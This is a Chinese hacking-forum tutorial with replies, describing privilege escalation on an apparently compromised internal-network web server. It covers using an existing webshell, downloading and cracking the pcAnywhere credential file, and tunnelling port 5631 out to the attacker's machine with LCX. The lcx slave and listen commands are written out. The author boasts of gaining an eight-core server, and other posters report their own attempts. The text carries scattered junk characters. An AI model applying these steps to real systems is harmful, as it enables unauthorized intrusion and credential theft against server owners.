[原创文章] pcanywhere之内网提权 pcanywhere

huar

很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。
* i" D9 R8 f, c; m5 m2 ]  s' q- X9 g: }9 S" _. f' z
提权方法：pcanywhere+LCX
7 h2 X2 e' i" h: j9 ~, B, @- A: \% [4 k$ x: p0 E' s1 X
获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。
. j6 C1 {( g3 I) S! G) ^$ b; M# l6 A
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。2 i0 A1 o* V/ Y( i# h) r

8 q0 }& V# Y1 Y, R- T7 u; y, w: z# ^/ Y1 n* _# U
查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。
" J, M6 M( o  M" J/ [$ f& c* E' c
9 x0 v, w  z2 g! G( }, l5 }& r" Y( }: o+ E" P$ T7 U
呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
+ E* e3 `$ n: \8 z  r
0 L6 ~; c6 m/ D4 b& ]2 m
* a1 b! B- O5 a5 J& K/ q3 k, F. _7 P+ U! m. S$ Q

6 e# M2 s2 [. v% m0 n2 Z由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``% y1 T: \% s. Q2 e5 P( F1 u' w; I
7 `3 g# r- R  j* L+ J
# A9 j! U$ a# e" C# A
LCX的用法再简单说下：" A) ], o) }, b. V$ _

5 M9 ~6 s/ c5 u: h) r+ t0 |服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）
+ n! y" J# V  l8 }! m# J' ~  X8 x; J* n& |% B3 i9 N# l
本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）
% |# S( p: \. K5 ~* _1 V; Y
7 \, \, Q* v0 d% v由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。3 V9 y( v, Y- i6 v# W
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``5 W* E: H# k. e. y% o3 ]! L
* q3 j0 P2 d- ?+ \. D

' l6 s+ u% }: N& K* z& m2 R. H5 N6 d3 D5 R
( z: `( m, m' c
呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。+ O& i3 {# ^0 N* N

( V2 m& y. t) ?+ M! V% ]
$ W! L6 e3 Y" v$ w- k5 l( I1 j: T' E- t& m2 Z
; h' e6 F6 x0 n& E' ^
我们本地连接试试，输入我们刚破解的账号密码
+ x$ |, U' }/ r  ~! d/ N' x) ^* n, T3 G. K2 M- S* y4 q. a
, ^9 o/ b6 w- u: ?
呵呵``连接成功,服务器不错，又一个8核^︵^) L/ L5 _/ m: P; z7 J; D

1 Y! N6 Z7 {! b3 F
+ t  Z) [; L$ C0 k9 O5 Q( w+ h" O
6 Y; C6 ^0 A, b' F  g% c

killadmin

但是我反弹后连接总是不成功,试着转发5632,5631一起,还是不行.

柔肠寸断

顶起。。。。。。。。。

gassiori

八核的哟

huar

哎。。。。运气不佳```老碰见内网的。。。。

柔肠寸断

不错不错。。。你的貌似一直都是内网服务器哈